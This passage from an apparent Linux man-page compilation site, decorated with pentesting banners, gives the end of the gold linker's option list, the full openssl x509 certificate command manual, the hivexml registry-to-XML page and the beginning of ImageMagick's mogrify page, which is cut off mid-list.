–no-pic-executable
Do not create a position independent executable (default)

–pic-veneer
Force PIC sequences for ARM/Thumb interworking veneers

-no-pipeline-knowledge
(ARM only) Ignore for backward compatibility (default)

–plt-align [=P2ALIGN]
(PowerPC only) Align PLT call stubs to fit cache lines

–plt-localentry
(PowerPC64 only) Optimize calls to ELFv2 localentry:0 functions

–no-plt-localentry
(PowerPC64 only) Don’t optimize ELFv2 calls (default)

–plt-static-chain
(PowerPC64 only) PLT call stubs should load r11

–no-plt-static-chain
(PowerPC64 only) PLT call stubs should not load r11 (default)

–plt-thread-safe
(PowerPC64 only) PLT call stubs with load-load barrier

–no-plt-thread-safe
(PowerPC64 only) PLT call stubs without barrier (default)

–plugin PLUGIN
Load a plugin library

–plugin-opt OPTION
Pass an option to the plugin

–posix-fallocate
Use posix_fallocate to reserve space in the output file (default)

–no-posix-fallocate
Use fallocate or ftruncate to reserve space

–power10-stubs [=auto,no,yes]
(PowerPC64 only) stubs use power10 insns

–no-power10-stubs
(PowerPC64 only) stubs do not use power10 insns

–preread-archive-symbols
Preread archive symbols when multi-threaded

–print-gc-sections
List removed unused sections on stderr

–no-print-gc-sections
Do not list removed unused sections (default)

–print-icf-sections
List folded identical sections on stderr

–no-print-icf-sections
Do not list folded identical sections (default)

–print-output-format
Print default output format

–print-symbol-counts FILENAME
Print symbols defined and used for each input

–push-state
Save the state of flags related to input files

–pop-state
Restore the state of flags related to input files

-q, –emit-relocs
Generate relocations in output

-Qy
Ignored for SVR4 compatibility

-r, -relocatable
Generate relocatable output

–relax
Relax branches on certain targets

–no-relax
Do not relax branches (default)

–retain-symbols-file FILE
keep only symbols listed in this file

–rosegment
Put read-only non-executable sections in their own segment

–no-rosegment
Do not put read-only non-executable sections in their own segment (default)

–rosegment-gap OFFSET
Set offset between executable and read-only segments

-R DIR
Add DIR to runtime search path

-rpath DIR
Add DIR to runtime search path

–rpath-link DIR
Add DIR to link time shared library search path

-s, –strip-all
Strip all symbols

-S, –strip-debug
Strip debugging information

–strip-debug-non-line
Emit only debug line number information

–strip-debug-gdb
Strip debug symbols that are unused by gdb (at least versions <= 7.4)

–strip-lto-sections
Strip LTO intermediate code sections (default)

–section-ordering-file FILENAME
Layout sections in the order specified

–section-start SECTION=ADDRESS
Set address of section

–secure-plt
(PowerPC only) Use new-style PLT (default)

–sort-common [={ascending,descending}]
Sort common symbols by alignment

–sort-section [none,name]
Sort sections by name. ‘–no-text-reorder’ will override ‘–sort-section=name’ for .text

–spare-dynamic-tags COUNT
Dynamic tag slots to reserve (default 5)

–stub-group-size SIZE
(ARM, PowerPC only) The maximum distance from instructions in a group of sections to their stubs. Negative values mean stubs are always after the group. 1 means use default size

–stub-group-multi
(PowerPC only) Allow a group of stubs to serve multiple output sections (default)

–no-stub-group-multi
(PowerPC only) Each output section has its own stubs

–split-stack-adjust-size SIZE
Stack size when -fsplit-stack function calls non-split

-static
Do not link against shared libraries

–start-lib
Start a library

–end-lib
End a library

–stats
Print resource usage statistics

–sysroot DIR
Set target system root directory

-t, –trace
Print the name of each input file

–target1-abs
(ARM only) Force R_ARM_TARGET1 type to R_ARM_ABS32

–target1-rel
(ARM only) Force R_ARM_TARGET1 type to R_ARM_REL32

–target2 [rel, abs, got-rel
(ARM only) Set R_ARM_TARGET2 relocation type

–text-reorder
Enable text section reordering for GCC section names (default)

–no-text-reorder
Disable text section reordering for GCC section names

–threads
Run the linker multi-threaded

–no-threads
Do not run the linker multi-threaded (default)

–thread-count COUNT
Number of threads to use

–thread-count-initial COUNT
Number of threads to use in initial pass

–thread-count-middle COUNT Number of threads to use in middle pass

–thread-count-final COUNT
Number of threads to use in final pass

–tls-optimize
(PowerPC/64 only) Optimize GD/LD/IE code to IE/LE (default)

–no-tls-optimize
(PowerPC/64 only) Don’‘’t try to optimize TLS accesses

–tls-get-addr-optimize
(PowerPC/64 only) Use a special __tls_get_addr call (default)

–no-tls-get-addr-optimize
(PowerPC/64 only) Don’t use a special __tls_get_addr call

–toc-optimize
(PowerPC64 only) Optimize TOC code sequences (default)

–no-toc-optimize
(PowerPC64 only) Don’t optimize TOC code sequences

–toc-sort
(PowerPC64 only) Sort TOC and GOT sections (default)

–no-toc-sort
(PowerPC64 only) Don’t sort TOC and GOT sections

-T FILE, –script FILE
Read linker script

-Tbss ADDRESS
Set the address of the bss segment

-Tdata ADDRESS
Set the address of the data segment

-Ttext ADDRESS
Set the address of the text segment

-Ttext-segment ADDRESS
Set the address of the text segment

-Trodata-segment ADDRESS
Set the address of the rodata segment

-u SYMBOL, –undefined SYMBOL
Create undefined reference to SYMBOL

–unresolved-symbols ignore-all,report-all,ignore-in-object-files,ignore-in-shared-libs
How to handle unresolved symbols

–verbose
Alias for –debug=files

–version-script FILE
Read version script

–warn-common
Warn about duplicate common symbols

–no-warn-common
Do not warn about duplicate common symbols (default)

–warn-constructors
Ignored

–no-warn-constructors
Ignored

–warn-drop-version
Warn when discarding version information

–no-warn-drop-version
Do not warn when discarding version information (default)

–warn-execstack
Warn if the stack is executable

–no-warn-execstack
Do not warn if the stack is executable (default)

–no-warn-mismatch
Don’t warn about mismatched input files

–warn-multiple-gp
Ignored

–warn-search-mismatch
Warn when skipping an incompatible library (default)

–no-warn-search-mismatch
Don’t warn when skipping an incompatible library

–warn-shared-textrel
Warn if text segment is not shareable

–no-warn-shared-textrel
Do not warn if text segment is not shareable (default)

–warn-unresolved-symbols
Report unresolved symbols as warnings

–error-unresolved-symbols
Report unresolved symbols as errors (default)

-z buildd
Dummy z option

–no-wchar-size-warning
(ARM only) Do not warn about objects with incompatible wchar_t sizes

–weak-unresolved-symbols
Convert unresolved symbols to weak references

–whole-archive
Include all archive contents

–no-whole-archive
Include only needed archive contents (default)

–wrap SYMBOL
Use wrapper functions for SYMBOL

-x, –discard-all
Delete all local symbols

-X, –discard-locals
Delete all temporary local symbols

–discard-none
Keep all local symbols

-y SYMBOL, –trace-symbol SYMBOL
Trace references to symbol

–undefined-version
Allow unused version in script (default)

–no-undefined-version
Do not allow unused version in script

-Y PATH
Default search path for Solaris compatibility

-(, –start-group
Start a library search group

-), –end-group
End a library search group

-z combreloc
Sort dynamic relocs (default)

-z nocombreloc
Do not sort dynamic relocs

-z common-page-size=SIZE
Set common page size to SIZE

-z defs
Report undefined symbols (even with –shared)

-z execstack
Mark output as requiring executable stack

-z global
Make symbols in DSO available for subsequently loaded objects

-z initfirst
Mark DSO to be initialized first at runtime

-z interpose
Mark object to interpose all DSOs but executable

-z unique
Mark DSO to be loaded at most once, and only in the main namespace

-z nounique
Do not mark the DSO as one to be loaded only in the main namespace (default)

-z lazy
Mark object for lazy runtime binding (default)

-z loadfltr
Mark object requiring immediate process

-z max-page-size=SIZE
Set maximum page size to SIZE

-z muldefs
Allow multiple definitions of symbols

-z nocopyreloc
Do not create copy relocs

-z nodefaultlib
Mark object not to use default search paths

-z nodelete
Mark DSO non-deletable at runtime

-z nodlopen
Mark DSO not available to dlopen

-z nodump
Mark DSO not available to dldump

-z noexecstack
Mark output as not requiring executable stack

-z now
Mark object for immediate function binding

-z origin
Mark DSO to indicate that needs immediate $ORIGIN processing at runtime

-z relro
Where possible mark variables read-only after relocation (default)

-z norelro
Don’t mark variables read-only after relocation

-z stack-size=SIZE
Set PT_GNU_STACK segment p_memsz to SIZE

-z start-stop-visibility=[default,internal,hidden,protected]
ELF symbol visibility for synthesized __start_* and __stop_* symbols

-z text
Do not permit relocations in read-only segments

-z notext
Permit relocations in read-only segments (default)

-z textoff
Permit relocations in read-only segments (default)

-z text-unlikely-segment
Move .text.unlikely sections to a separate segment.

-z notext-unlikely-segment
Do not move .text.unlikely sections to a separate segment. (default)

-z keep-text-section-prefix Keep .text.hot, .text.startup, .text.exit and .text.unlikely as separate sections in the final binary.

-z nokeep-text-section-prefix
Merge all .text.* prefix sections. (default)

Run gold –help for a list of supported targets and emulations.

REPORTING BUGS

Report bugs to <https://sourceware.org/bugzilla/>

COPYRIGHT

Copyright © 2024 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or (at your option) a later version. This program has absolutely no warranty.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

970 - Linux cli command openssl-x509ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-x509ssl and provides detailed information about the command openssl-x509ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-x509ssl.

NAME 🖥️ openssl-x509ssl 🖥️

x509 - Certificate display and signing command

SYNOPSIS

openssl x509 [-help] [-in filename|uri] [-passin arg] [-new] [-x509toreq] [-req] [-copy_extensions arg] [-inform DER|PEM] [-vfyopt nm:v] [-key filename|uri] [-keyform DER|PEM|P12|ENGINE] [-signkey filename|uri] [-out filename] [-outform DER|PEM] [-nocert] [-noout] [-dateopt] [-text] [-certopt option] [-fingerprint] [-alias] [-serial] [-startdate] [-enddate] [-dates] [-subject] [-issuer] [-nameopt option] [-email] [-hash] [-subject_hash] [-subject_hash_old] [-issuer_hash] [-issuer_hash_old] [-ext extensions] [-ocspid] [-ocsp_uri] [-purpose] [-pubkey] [-modulus] [-checkend num] [-checkhost host] [-checkemail host] [-checkip ipaddr] [-set_serial n] [-next_serial] [-days arg] [-preserve_dates] [-subj arg] [-force_pubkey filename] [-clrext] [-extfile filename] [-extensions section] [-sigopt nm:v] [-badsig] [-digest] [-CA filename|uri] [-CAform DER|PEM|P12] [-CAkey filename|uri] [-CAkeyform DER|PEM|P12|ENGINE] [-CAserial filename] [-CAcreateserial] [-trustout] [-setalias arg] [-clrtrust] [-addtrust arg] [-clrreject] [-addreject arg] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command is a multi-purposes certificate handling command. It can be used to print certificate information, convert certificates to various forms, edit certificate trust settings, generate certificates from scratch or from certification requests and then self-signing them or signing them like a “micro CA”.

Generated certificates bear X.509 version 3. Unless specified otherwise, key identifier extensions are included as described in x509v3_config (5).

Since there are a large number of options they will split up into various sections.

OPTIONS

Input, Output, and General Purpose Options

-help
Print out a usage message.

-in filename|uri
This specifies the input to read a certificate from or the input file for reading a certificate request if the -req flag is used. In both cases this defaults to standard input. This option cannot be combined with the -new flag.

-passin arg
The key and certificate file password source. For more information about the format of arg see openssl-passphrase-options (1).

-new
Generate a certificate from scratch, not using an input certificate or certificate request. So this excludes the -in and -req options. Instead, the -subj option needs to be given. The public key to include can be given with the -force_pubkey option and defaults to the key given with the -key (or -signkey) option, which implies self-signature.

-x509toreq
Output a PKCS#10 certificate request (rather than a certificate). The -key (or -signkey) option must be used to provide the private key for self-signing; the corresponding public key is placed in the subjectPKInfo field. X.509 extensions included in a certificate input are not copied by default. X.509 extensions to be added can be specified using the -extfile option.

-req
By default a certificate is expected on input. With this option a PKCS#10 certificate request is expected instead, which must be correctly self-signed. X.509 extensions included in the request are not copied by default. X.509 extensions to be added can be specified using the -extfile option.

-copy_extensions arg
Determines how to handle X.509 extensions when converting from a certificate to a request using the -x509toreq option or converting from a request to a certificate using the -req option. If arg is none or this option is not present then extensions are ignored. If arg is copy or copyall then all extensions are copied, except that subject identifier and authority key identifier extensions are not taken over when producing a certificate request. The -ext option can be used to further restrict which extensions to copy.

-inform DER|PEM
The input file format to use; by default PEM is tried first. See openssl-format-options (1) for details.

-vfyopt nm:v
Pass options to the signature algorithm during verify operations. Names and values of these options are algorithm-specific.

-key filename|uri
This option provides the private key for signing a new certificate or certificate request. Unless -force_pubkey is given, the corresponding public key is placed in the new certificate or certificate request, resulting in a self-signature. This option cannot be used in conjunction with the -CA option. It sets the issuer name to the subject name (i.e., makes it self-issued). Unless the -preserve_dates option is supplied, it sets the validity start date to the current time and the end date to a value determined by the -days option.

-signkey filename|uri
This option is an alias of -key.

-keyform DER|PEM|P12|ENGINE
The key input format; unspecified by default. See openssl-format-options (1) for details.

-out filename
This specifies the output filename to write to or standard output by default.

-outform DER|PEM
The output format; the default is PEM. See openssl-format-options (1) for details.

-nocert
Do not output a certificate (except for printing as requested by below options).

-noout
This option prevents output except for printing as requested by below options.

Certificate Printing Options

Note: the -alias and -purpose options are also printing options but are described in the “Trust Settings” section.

-dateopt
Specify the date output format. Values are: rfc_822 and iso_8601. Defaults to rfc_822.

-text
Prints out the certificate in text form. Full details are printed including the public key, signature algorithms, issuer and subject names, serial number any extensions present and any trust settings.

-certopt option
Customise the print format used with -text. The option argument can be a single option or multiple options separated by commas. The -certopt switch may be also be used more than once to set multiple options. See the “Text Printing Flags” section for more information.

-fingerprint
Calculates and prints the digest of the DER encoded version of the entire certificate (see digest options). This is commonly called a “fingerprint”. Because of the nature of message digests, the fingerprint of a certificate is unique to that certificate and two certificates with the same fingerprint can be considered to be the same.

-alias
Prints the certificate “alias” (nickname), if any.

-serial
Prints the certificate serial number.

-startdate
Prints out the start date of the certificate, that is the notBefore date.

-enddate
Prints out the expiry date of the certificate, that is the notAfter date.

-dates
Prints out the start and expiry dates of a certificate.

-subject
Prints the subject name.

-issuer
Prints the issuer name.

-nameopt option
This specifies how the subject or issuer names are displayed. See openssl-namedisplay-options (1) for details.

-email
Prints the email address(es) if any.

-hash
Synonym for “-subject_hash” for backward compatibility reasons.

-subject_hash
Prints the “hash” of the certificate subject name. This is used in OpenSSL to form an index to allow certificates in a directory to be looked up by subject name.

-subject_hash_old
Prints the “hash” of the certificate subject name using the older algorithm as used by OpenSSL before version 1.0.0.

-issuer_hash
Prints the “hash” of the certificate issuer name.

-issuer_hash_old
Prints the “hash” of the certificate issuer name using the older algorithm as used by OpenSSL before version 1.0.0.

-ext extensions
Prints out the certificate extensions in text form. Can also be used to restrict which extensions to copy. Extensions are specified with a comma separated string, e.g., “subjectAltName, subjectKeyIdentifier”. See the x509v3_config (5) manual page for the extension names.

-ocspid
Prints the OCSP hash values for the subject name and public key.

-ocsp_uri
Prints the OCSP responder address(es) if any.

-purpose
This option performs tests on the certificate extensions and outputs the results. For a more complete description see “Certificate Extensions” in openssl-verification-options (1).

-pubkey
Prints the certificate’s SubjectPublicKeyInfo block in PEM format.

-modulus
This option prints out the value of the modulus of the public key contained in the certificate.

Certificate Checking Options

-checkend arg
Checks if the certificate expires within the next arg seconds and exits nonzero if yes it will expire or zero if not.

-checkhost host
Check that the certificate matches the specified host.

-checkemail email
Check that the certificate matches the specified email address.

-checkip ipaddr
Check that the certificate matches the specified IP address.

Certificate Output Options

-set_serial n
Specifies the serial number to use. This option can be used with the -key, -signkey, or -CA options. If used in conjunction with the -CA option the serial number file (as specified by the -CAserial option) is not used. The serial number can be decimal or hex (if preceded by 0x).

-next_serial
Set the serial to be one more than the number in the certificate.

-days arg
Specifies the number of days until a newly generated certificate expires. The default is 30. Cannot be used together with the -preserve_dates option.

-preserve_dates
When signing a certificate, preserve “notBefore” and “notAfter” dates of any input certificate instead of adjusting them to current time and duration. Cannot be used together with the -days option.

-subj arg
When a certificate is created set its subject name to the given value. When the certificate is self-signed the issuer name is set to the same value. The arg must be formatted as /type0=value0/type1=value1/type2=.... Special characters may be escaped by \ (backslash), whitespace is retained. Empty values are permitted, but the corresponding type will not be included in the certificate. Giving a single / will lead to an empty sequence of RDNs (a NULL-DN). Multi-valued RDNs can be formed by placing a + character instead of a / between the AttributeValueAssertions (AVAs) that specify the members of the set. Example: /DC=org/DC=OpenSSL/DC=users/UID=123456+CN=John Doe This option can be used with the -new and -force_pubkey options to create a new certificate without providing an input certificate or certificate request.

-force_pubkey filename
When a new certificate or certificate request is created set its public key to the given key instead of the key contained in the input or given with the -key (or -signkey) option. If the input contains no public key but a private key, its public part is used. This option can be used in conjunction with b<-new> and -subj to directly generate a certificate containing any desired public key. This option is also useful for creating self-issued certificates that are not self-signed, for instance when the key cannot be used for signing, such as DH.

-clrext
When transforming a certificate to a new certificate by default all certificate extensions are retained. When transforming a certificate or certificate request, the -clrext option prevents taking over any extensions from the source. In any case, when producing a certificate request, neither subject identifier nor authority key identifier extensions are included.

-extfile filename
Configuration file containing certificate and request X.509 extensions to add.

-extensions section
The section in the extfile to add X.509 extensions from. If this option is not specified then the extensions should either be contained in the unnamed (default) section or the default section should contain a variable called “extensions” which contains the section to use. See the x509v3_config (5) manual page for details of the extension section format. Unless specified otherwise, key identifier extensions are included as described in x509v3_config (5).

-sigopt nm:v
Pass options to the signature algorithm during sign operations. This option may be given multiple times. Names and values provided using this option are algorithm-specific.

-badsig
Corrupt the signature before writing it; this can be useful for testing.

-digest
The digest to use. This affects any signing or printing option that uses a message digest, such as the -fingerprint, -key, and -CA options. Any digest supported by the openssl-dgst (1) command can be used. If not specified then SHA1 is used with -fingerprint or the default digest for the signing algorithm is used, typically SHA256.

Micro-CA Options

-CA filename|uri
Specifies the “CA” certificate to be used for signing. When present, this behaves like a “micro CA” as follows: The subject name of the “CA” certificate is placed as issuer name in the new certificate, which is then signed using the “CA” key given as detailed below. This option cannot be used in conjunction with -key (or -signkey). This option is normally combined with the -req option referencing a CSR. Without the -req option the input must be an existing certificate unless the -new option is given, which generates a certificate from scratch.

-CAform DER|PEM|P12,
The format for the CA certificate; unspecified by default. See openssl-format-options (1) for details.

-CAkey filename|uri
Sets the CA private key to sign a certificate with. The private key must match the public key of the certificate given with -CA. If this option is not provided then the key must be present in the -CA input.

-CAkeyform DER|PEM|P12|ENGINE
The format for the CA key; unspecified by default. See openssl-format-options (1) for details.

-CAserial filename
Sets the CA serial number file to use. When creating a certificate with this option and with the -CA option, the certificate serial number is stored in the given file. This file consists of one line containing an even number of hex digits with the serial number used last time. After reading this number, it is incremented and used, and the file is updated. The default filename consists of the CA certificate file base name with .srl appended. For example if the CA certificate file is called mycacert.pem it expects to find a serial number file called mycacert.srl. If the -CA option is specified and neither <-CAserial> or <-CAcreateserial> is given and the default serial number file does not exist, a random number is generated; this is the recommended practice.

-CAcreateserial
With this option and the -CA option the CA serial number file is created if it does not exist. A random number is generated, used for the certificate, and saved into the serial number file determined as described above.

Trust Settings

A trusted certificate is an ordinary certificate which has several additional pieces of information attached to it such as the permitted and prohibited uses of the certificate and possibly an “alias” (nickname).

Normally when a certificate is being verified at least one certificate must be “trusted”. By default a trusted certificate must be stored locally and must be a root CA: any certificate chain ending in this CA is then usable for any purpose.

Trust settings currently are only used with a root CA. They allow a finer control over the purposes the root CA can be used for. For example, a CA may be trusted for SSL client but not SSL server use.

See openssl-verification-options (1) for more information on the meaning of trust settings.

Future versions of OpenSSL will recognize trust settings on any certificate: not just root CAs.

-trustout
Mark any certificate PEM output as <trusted> certificate rather than ordinary. An ordinary or trusted certificate can be input but by default an ordinary certificate is output and any trust settings are discarded. With the -trustout option a trusted certificate is output. A trusted certificate is automatically output if any trust settings are modified.

-setalias arg
Sets the “alias” of the certificate. This will allow the certificate to be referred to using a nickname for example “Steve’s Certificate”.

-clrtrust
Clears all the permitted or trusted uses of the certificate.

-addtrust arg
Adds a trusted certificate use. Any object name can be used here but currently only clientAuth, serverAuth, emailProtection, and anyExtendedKeyUsage are defined. As of OpenSSL 1.1.0, the last of these blocks all purposes when rejected or enables all purposes when trusted. Other OpenSSL applications may define additional uses.

-clrreject
Clears all the prohibited or rejected uses of the certificate.

-addreject arg
Adds a prohibited trust anchor purpose. It accepts the same values as the -addtrust option.

Generic options

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

Text Printing Flags

As well as customising the name printing format, it is also possible to customise the actual fields printed using the certopt option when the text option is present. The default behaviour is to print all fields.

compatible
Use the old format. This is equivalent to specifying no printing options at all.

no_header
Don’t print header information: that is the lines saying “Certificate” and “Data”.

no_version
Don’t print out the version number.

no_serial
Don’t print out the serial number.

no_signame
Don’t print out the signature algorithm used.

no_validity
Don’t print the validity, that is the notBefore and notAfter fields.

no_subject
Don’t print out the subject name.

no_issuer
Don’t print out the issuer name.

no_pubkey
Don’t print out the public key.

no_sigdump
Don’t give a hexadecimal dump of the certificate signature.

no_aux
Don’t print out certificate trust information.

no_extensions
Don’t print out any X509V3 extensions.

ext_default
Retain default extension behaviour: attempt to print out unsupported certificate extensions.

ext_error
Print an error message for unsupported certificate extensions.

ext_parse
ASN1 parse unsupported extensions.

ext_dump
Hex dump unsupported extensions.

ca_default
The value used by openssl-ca (1), equivalent to no_issuer, no_pubkey, no_header, and no_version.

EXAMPLES

Note: in these examples the ‘\ means the example should be all on one line.

Print the contents of a certificate:

openssl x509 -in cert.pem -noout -text

Print the “Subject Alternative Name” extension of a certificate:

openssl x509 -in cert.pem -noout -ext subjectAltName

Print more extensions of a certificate:

openssl x509 -in cert.pem -noout -ext subjectAltName,nsCertType

Print the certificate serial number:

openssl x509 -in cert.pem -noout -serial

Print the certificate subject name:

openssl x509 -in cert.pem -noout -subject

Print the certificate subject name in RFC2253 form:

openssl x509 -in cert.pem -noout -subject -nameopt RFC2253

Print the certificate subject name in oneline form on a terminal supporting UTF8:

openssl x509 -in cert.pem -noout -subject -nameopt oneline,-esc_msb

Print the certificate SHA1 fingerprint:

openssl x509 -sha1 -in cert.pem -noout -fingerprint

Convert a certificate from PEM to DER format:

openssl x509 -in cert.pem -inform PEM -out cert.der -outform DER

Convert a certificate to a certificate request:

openssl x509 -x509toreq -in cert.pem -out req.pem -key key.pem

Convert a certificate request into a self-signed certificate using extensions for a CA:

openssl x509 -req -in careq.pem -extfile openssl.cnf -extensions v3_ca \ -key key.pem -out cacert.pem

Sign a certificate request using the CA certificate above and add user certificate extensions:

openssl x509 -req -in req.pem -extfile openssl.cnf -extensions v3_usr \ -CA cacert.pem -CAkey key.pem -CAcreateserial

Set a certificate to be trusted for SSL client use and change set its alias to “Steve’s Class 1 CA”

openssl x509 -in cert.pem -addtrust clientAuth \ -setalias “Steves Class 1 CA” -out trust.pem

NOTES

The conversion to UTF8 format used with the name options assumes that T61Strings use the ISO8859-1 character set. This is wrong but Netscape and MSIE do this as do many certificates. So although this is incorrect it is more likely to print the majority of certificates correctly.

The -email option searches the subject name and the subject alternative name extension. Only unique email addresses will be printed out: it will not print the same address more than once.

BUGS

It is possible to produce invalid certificates or requests by specifying the wrong private key, using unsuitable X.509 extensions, or using inconsistent options in some cases: these should be checked.

There should be options to explicitly set such things as start and end dates rather than an offset from the current time.

SEE ALSO

openssl (1), openssl-req (1), openssl-ca (1), openssl-genrsa (1), openssl-gendsa (1), openssl-verify (1), x509v3_config (5)

HISTORY

The hash algorithm used in the -subject_hash and -issuer_hash options before OpenSSL 1.0.0 was based on the deprecated MD5 algorithm and the encoding of the distinguished name. In OpenSSL 1.0.0 and later it is based on a canonical version of the DN using SHA1. This means that any directories using the old form must have their links rebuilt using openssl-rehash (1) or similar.

The -signkey option has been renamed to -key in OpenSSL 3.0, keeping the old name as an alias.

The -engine option was deprecated in OpenSSL 3.0.

The -C option was removed in OpenSSL 3.0.

Since OpenSSL 3.2, generated certificates bear X.509 version 3, and key identifier extensions are included by default.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

971 - Linux cli command hivexml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hivexml and provides detailed information about the command hivexml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hivexml.

NAME 🖥️ hivexml 🖥️

Convert Windows Registry binary “hive” into XML

SYNOPSIS

hivexml [-dk] hivefile > output.xml

DESCRIPTION

This program converts a single Windows Registry binary “hive” file into a self-describing XML format.

OPTIONS

-d
Enable lots of debug messages. If you find a Registry file that this program cannot parse, please enable this option and post the complete output and the Registry file in your bug report.

-k
Keep going even if we find errors in the Registry file. This skips over any parts of the Registry that we cannot read.

-u
Use heuristics to tolerate certain levels of corruption within hives. This is unsafe but may allow to export/merge valid keys/values in an othewise corrupted hive.

SEE ALSO

hivex (3), hivexget (1), hivexsh (1), hivexregedit (1), virt-win-reg (1), guestfs (3), <http://libguestfs.org/>, virt-cat (1), virt-edit (1).

AUTHORS

Richard W.M. Jones (rjones at redhat dot com)

COPYRIGHT

Copyright (C) 2009 Red Hat Inc.

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

972 - Linux cli command mogrify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mogrify and provides detailed information about the command mogrify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mogrify.

NAME 🖥️ mogrify 🖥️

resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. Mogrify overwrites the original image file, whereas, convert-im6.q16(1) writes to a different image file.

SYNOPSIS

mogrify-im6.q16 [options] input-file

OVERVIEW

The mogrify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. Use it to resize an image, blur, crop, despeckle, dither, draw on, flip, join, re-sample, and much more. This tool is similar to convert-im6.q16(1) except the original image file is overwritten with any changes you request.

For more information about the mogrify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/mogrify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/mogrify.php.

DESCRIPTION

Image Settings: -adjoin join images into a single multi-image file -affine matrix affine transform matrix -alpha option activate, deactivate, reset, or set the alpha channel -antialias remove pixel-aliasing -authenticate value decrypt image with this password -attenuate value lessen (or intensify) when adding noise to an image -background color background color -bias value add bias when convolving an image -black-point-compensation use black point compensation -blue-primary point chromaticity blue primary point -bordercolor color border color -caption string assign a caption to an image -cdl filename color correct with a color decision list -channel type apply option to select image channels -colors value preferred number of colors in the image -colorspace type alternate image colorspace -comment string annotate image with comment -compose operator set image composite operator -compress type type of pixel compression when writing the image -decipher filename convert cipher pixels to plain pixels -define format:option define one or more image format options -delay centiseconds display the next image after pausing -density geometry horizontal and vertical density of the image -depth value image depth -direction type render text right-to-left or left-to-right -display server get image or font from this X server -dispose method layer disposal method -dither method apply error diffusion to image -encipher filename convert plain pixels to cipher pixels -encoding type text encoding type -endian type endianness (MSB or 